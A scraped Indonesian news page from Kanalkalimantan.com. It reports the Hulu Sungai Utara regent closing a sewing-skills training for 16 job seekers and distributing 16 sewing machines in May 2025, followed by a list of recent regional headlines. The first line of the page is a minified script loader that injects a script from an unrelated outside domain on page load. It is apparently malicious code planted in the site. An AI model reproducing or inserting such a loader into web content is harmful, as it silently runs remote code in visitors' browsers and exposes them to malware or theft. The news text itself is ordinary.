(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Bupati HSU: Dunia Kerja Ketat, Penting Miliki Keterampilan


KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani menegaskan pentingnya memiliki keterampilan di era persaingan kerja yang semakin ketat.

Hal itu disampaikannya saat menutup kegiatan pendidikan dan pelatihan keterampilan bagi pencari kerja berbasis klaster kompetensi non institusional program latihan menjahit pakaian dasar tahun anggaran 2025, sekaligus membuka kegiatan bantuan sarana usaha Tenaga Kerja Mandiri (TKM) keterampilan menjahit tahun anggaran 2025, Rabu (14/5/2025) di Desa Pekapuran, Kecamatan Amuntai Utara.

“Kita semua harus menyadari bahwa memiliki keterampilan di zaman sekarang sangatlah penting. Di tengah ketatnya persaingan dunia kerja, keterampilan menjadi modal utama untuk beradaptasi, meningkatkan daya saing, dan meraih kesuksesan,” kata Bupati HSU.

Baca juga: Menteri UMKM Jadi “Amicus Curiae” Sidang Kasus Mama Khas Banjar

Ia mengatakan bahwa keterampilan seperti menjahit tidak hanya menjadi jalan untuk memperoleh pekerjaan, tetapi juga dapat membuka peluang usaha secara mandiri.

“Dengan keterampilan menjahit, para peserta bisa membuka usaha rumahan atau bekerja secara profesional. Harapan kami, pelatihan ini benar-benar dimanfaatkan dan dikembangkan agar dapat meningkatkan kesejahteraan keluarga,” tukasnya.

Sebagai tindak lanjut dari pelatihan, Bupati juga secara simbolis membuka program bantuan sarana usaha TKM berupa 16 buah mesin jahit, yang diberikan kepada para peserta sebagai modal awal dalam menjalankan usaha menjahit secara mandiri di lingkungan masing-masing.

Baca juga: Polda Kalteng Panggil Ketua GRIB Jaya Pasca Segel Perusahaan

Program ini merupakan bentuk nyata komitmen pemerintah dalam meningkatkan kemandirian ekonomi masyarakat melalui pengembangan keterampilan kerja yang aplikatif dan berkelanjutan.

Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans) Provinsi Kalsel menginginkan bantuan mampu mendorong produktivitas dan mengurangi angka pengangguran, khususnya di wilayah pedesaan.

Kepala Bidang Pemberdayaan, Pelatihan dan Produktivitas Tenaga Kerja (P4TK) Disnakertrans Provinsi Kalsel, Indah Fajar Wati, dalam sambutannya menyampaikan apresiasi atas semangat para peserta.

Baca juga: SPMB Adil dan Transparan, Bebas Pungutan!

“Kami sangat mengapresiasi semangat peserta selama pelatihan. Bantuan yang diberikan hari ini bukan akhir, melainkan awal dari perjalanan usaha mandiri yang perlu dijaga dan dikembangkan. Kami akan terus mendampingi dan mendorong agar para penerima bisa mandiri dan produktif,” ujarnya.

Kegiatan diselenggarakan oleh Disnakertrans Kalsel ini berlangsung selama 20 hari yang diikuti oleh 16 peserta.

Peserta dibekali dengan keterampilan dasar menjahit seperti penggunaan mesin jahit, teknik menjahit lurus dan melengkung, pembuatan pola dasar hingga pola kompleks, serta praktek membuat pakaian dan aksesori. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Muhammad Andi

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

3 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

4 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

4 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

6 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

12 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.